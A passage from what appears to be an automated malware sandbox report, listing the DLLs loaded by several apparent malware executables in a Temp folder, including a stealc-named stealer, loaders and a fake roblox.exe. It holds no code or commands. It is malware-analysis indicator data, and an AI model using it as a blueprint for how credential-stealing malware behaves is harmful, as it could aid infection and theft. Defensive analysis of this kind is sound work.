Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: python310.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: iphlpapi.dll
